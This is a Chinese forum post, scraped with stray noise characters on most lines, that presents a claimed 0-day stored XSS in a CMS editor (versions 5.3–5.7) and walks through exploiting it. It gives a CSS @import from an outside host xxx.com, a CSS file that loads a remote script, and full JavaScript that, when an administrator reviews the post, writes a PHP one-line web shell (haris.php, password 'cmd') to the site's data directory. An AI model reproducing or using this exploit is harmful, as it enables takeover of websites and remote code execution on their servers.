<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
5 X- o& X" Z+ I+ p9 s1 r为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)4 e% V" Y2 C6 a* w# R
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
" E/ N& g( \$ B. B& i) }% r下面说说利用方法。
5 o; f7 z, e7 C2 W- o- F$ Z条件有2个:
2 N9 d/ o8 W" B& T5 v1.开启注册
8 @* `7 D6 v( v6 M4 h8 S8 Y! L+ n2.开启投稿
2 C1 Y/ g: x7 g注册会员----发表文章# W# g0 B. U- [( z3 x- ]5 m, P
内容填写:
; X; t2 ^6 w/ C" v0 ~# Y复制代码
: \# C) Q j. H; u7 H! N<style>@im\port'\http://xxx.com/xss.css';</style>
* w9 a% V1 g; g' _, l0 W% C" S新建XSS.Css
, A! m3 O- F5 U' j! p, ~" M复制代码+ q4 I+ [. u1 `6 I8 f* ]
.body{
# L4 H$ U! f& J! X1 qbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
7 P a, A' Q* x% @( Q# n新建xss.js 内容为
! m% N2 i! ?% P# ]/ f# \, Y复制代码0 b. k |: Z y8 o+ E6 m
1.var request = false;0 ~* _( D- s- C7 D* |* y# T
2.if(window.XMLHttpRequest) {8 Q: \1 |2 r1 D; y& u& ]
3.request = new XMLHttpRequest();- e0 M" t' \/ a. O6 b" ?- e
4.if(request.overrideMimeType) {
& r9 w X8 ]" v5.request.overrideMimeType('text/xml');
, X. ]4 T: @0 H! z0 A6.}- m: k5 d9 \3 M0 S) I( G; ^
7.} else if(window.ActiveXObject) {6 s# I: d. q M( {6 b' u' w
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];4 Y, b) ?" m5 g" \8 s
9.for(var i=0; i<versions.length; i++) {& U6 H3 w& O* w* o" y$ p/ z# d
10.try {! W2 C4 j% H- d
11.request = new ActiveXObject(versions);
. `* p; [! J- G% ]12.} catch(e) {}
, g! H- T2 B% }13.}( ^5 a6 B; {0 M* t+ _9 S6 ?9 e
14.}) U, L. O1 r7 m0 h( S
15.xmlhttp=request;
& F* R M% N6 P9 v0 Z. P" r5 Y16.function getFolder( url ){
# ~6 V) g- R& x/ u. o _17. obj = url.split('/')7 ?$ ^" _! C8 }4 D( b
18. return obj[obj.length-2]4 V" o+ L% S7 S$ ~' d
19.}
- K* O- F/ K# Q% q$ r20.oUrl = top.location.href;
: R4 ^: f4 U) O3 A7 P21.u = getFolder(oUrl);/ Z% [# A, ^7 h
22.add_admin();
% K/ n* J0 W$ w! S2 e23.function add_admin(){
5 i1 p! V! w g* U+ m24.var url= "/"+u+"/sys_sql_query.php";
& y6 g$ q& {' ?8 w8 I& ~25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
- H2 D6 k* D1 \9 h7 a+ E l26.xmlhttp.open("POST", url, true);! B+ x9 _, U; ~7 Z, N* V
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
" ?8 o* V/ Z3 [28.xmlhttp.setRequestHeader("Content-length", params.length); O1 O2 t- C0 F
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
( _; {" x) x4 B4 W f8 u: F& c/ j30.xmlhttp.send(params);, F( U: O3 g1 @) o' M# z' t
31.}
5 I; j* w5 q/ R6 o" a, l当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |